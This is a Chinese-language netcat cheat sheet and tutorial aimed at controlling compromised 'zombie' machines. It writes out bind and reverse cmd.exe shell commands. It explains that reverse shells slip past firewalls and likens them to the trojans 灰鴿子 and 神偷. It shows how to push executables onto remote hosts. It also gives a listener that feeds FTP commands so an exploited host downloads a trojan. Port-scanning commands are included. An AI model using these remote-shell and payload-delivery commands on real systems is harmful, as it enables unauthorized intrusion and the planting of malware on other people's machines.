===========================================================================
【本地運行】nc -v ip port
【命令解釋】掃瞄某 IP 的某個端口,返回信息詳細輸出。
===========================================================================
【本地運行】nc -v -z ip port-port
【命令解釋】掃描某IP的端口到某端口,返回信息詳細輸出,但掃描速度較慢。
===========================================================================
【本地運行】nc -v -z -u ip port-port
【命令解釋】掃描某 IP 的某 UDP 端口到某 UDP 端口,返回信息詳細輸出,但掃描速度較慢。
===========================================================================
【本地運行】nc -l -p 80
【命令解釋】開啟本機的 TCP 80 端口並監聽。
===========================================================================
【本地運行】nc -l -v -p 80
【命令解釋】開啟本機的 TCP 80 端口並將監聽到的信息輸出到當前 CMD 窗口。
===========================================================================
【本地運行】nc -l -p 80 > E:/log.dat
【命令解釋】開啟本機的 TCP 80 端口並將監聽到的信息輸出到 E:/log.dat 下的日志文件里。
===========================================================================
【本地運行】nc -nvv 192.168.1.101 80
【命令解釋】連接到192.168.1.101主機的 80 端口。
===========================================================================
【本地運行】nc -nvv -w2 -z 192.168.1.101 80-1024
【命令解釋】掃錨192.168.1.101的80-1024端口,連接超時時間為2秒。
===========================================================================
【遠程運行】nc -l -p 2012 -t -e cmd.exe
【本地運行】nc -nvv 192.168.1.101 2012
【命令解釋】采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.101)上運行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠程主機的 CMD 到
【命令解釋】2012 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ;在本地主機上運行 nc -nvv 192.168.1.101 2012 用於
【命令解釋】連接已經將 CMD 重定向到 2012 端口的遠程主機(注:假設IP地址為 192.168.1.101)。
===========================================================================
【本地運行】nc -l -p 2012
【遠程運行】nc -t -e cmd.exe 192.168.1.102 2012
【命令解釋】采用反向連接方式,先在本地主機運行 nc -l -p 2012 開啟本地主機的(注:假設IP地址為 192.168.1.102)2012 端口並監聽等待遠程主
【命令解釋】機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為
【命令解釋】2012 的主機上,連接成功后 IP 地址為 192.168.1.102 的主機會得到一個CMD Shell。
===========================================================================
【本地運行】nc -v -n ip port < C:/sunzn.exe
【遠程運行】nc -v -l -p port > D:/sunzn.exe
【命令解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容,並把這些數據發送到遠程主機的
【命令解釋】對應端口上(注:命令行中的 IP 為接收文件的遠程主機 IP ),在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意為監聽對應端口並
【命令解釋】把接收到的信息數據寫到 D:/sunzn.exe 中,兩行命令實現了文件在本地主機和遠程主機間的傳輸。
===========================================================================
【本地運行】nc -L -p 8989<C:\ftp.txt ( ftp.txt 中為FTP自動下載命令)
【命令解釋】不停地監聽 8989 端口,並把 C:\ftp.txt 中的內容發給任何一台連接本機 8989 端口的主機,可起到傳送文件作用(此用法經常用於反向
【命令解釋】溢出)。溢出遠程主機時,一旦溢出的遠程主機連接本地主機 8989 端口,遠程主機就會自動用 FTP 下載指定的文件,如木馬。
===========================================================================
寫一篇簡單一點的使用教程:
命令1:監聽命令
nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port
參數解釋:
-l:監聽端口,監聽入站信息
-p:后跟本地端口號
-v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細的信息
提示:一般大家都愛用-vv
nc -l -p 80
這個很簡單,監聽80端口
如果機器上運行這個命令,端口80被認為是開放的,可以欺騙掃描器
nc -l -p 80 > e:\log.dat
將詳細信息寫入E盤log.dat的日志文件
nc -l -v -p 80
和上邊命令相似,會直接顯示信息在運行着NC的屏幕上。
實踐:
例如:nc -l -v -p 80
然后在瀏覽器中輸入本機IP:127.0.0.1
命令2:程序定向(反彈shell的方法)
nc -l -p port -t -e cmd.exe
本地機: nc -l -p port 或 nc -l -v -p port
目標機:nc -e cmd.exe ip port
參數解釋:
-l、-p兩個參數已經解釋過了
-e;作用就是程序定向
-t:以telnet的形式來應答
例子
nc -l -p 5277 -t -e cmd.exe
千萬不要運行在自己的機器上,如果運行了,你機器就會變成一台TELNET的服務器了。
命令解釋為:監聽本地端口5277的入站信息,同時將CMD.exe這個程序,重定向到端口5277上,當有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應連接要求。
說白了,其實就是讓他成為一台TELNET的肉雞,所以這個命令要運行在你的肉雞上。
例如用法:
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,
什么叫反彈端口?
就是說,當對方中馬后,不用你主動和對方連接,也就是說不用從你的client端向對方主機上運行的server端發送請求連接,而是對方主動來連接你這樣就可以使很多防火牆失效,因為很多防火牆都不檢查出站請求的。這里這兩個命令結合在一起后,於那兩款木馬可以說有異曲同工之效。
本地運行:nc -l -p 5277 (監聽本地5277端口)或者 nc -l -v -p 5277
然后在遠程機器上,想辦法運行 nc -e cmd.exe ip 5277
(你可別真的打“ip”在肉雞上啊)要打,xxx.xxx.xxx.xxx這樣!!
這樣就是反彈~~在本地機器上得到了一個SHELL
命令3:掃描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
參數解釋:
-z:將輸入輸出關掉,在掃描時使用
nc -v ip port
這個命令是針對某一個端口進行掃描
例如:
nc -v ip 135
掃描遠程主機的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息
例如:80端口
我們可以使用nc -v ip 80 然后使用get方法來獲得對方的WEB服務器的信息
nc -v -z ip port-port
這個命令是用來掃描的一個命令,這個命令用於快速掃描TCP端口,而port-port則是指定了掃描的端口范圍
例如:
nc -v -z ip 1-200
可以看到我機器上的1-200的TCP端口的開放情況
nc -v -z -u ip port-port
這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多了一個-u的參數,是用來掃UDP端口的
例如:
nc -v -z -u ip 1-200
這個命令就會掃1-200的UDP端口
命令4:傳送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe
參數解釋:
-n:指定數字的IP地址
這兩個命令結合起來是用來傳送文件的
首先,在遠程機上運行命令:
nc -v -l -p 5277 > c:\pulist.exe
這個命令還記的嗎?呵呵,是不是和監聽命令有點類似,對,沒錯,這個是監聽5277端口
並把接受到的信息數據寫到c:\pulist.exe中
這時候在本地機上運行
nc -v -n ip 5277 < e:\hack\pulist.exe
這個命令的意思就是,從本地E盤跟目錄中讀取pulist.exe文件的內容,並把這些數據發送到ip的5277端口上
這樣遠程主機就會自動創建一個pulist.exe文件。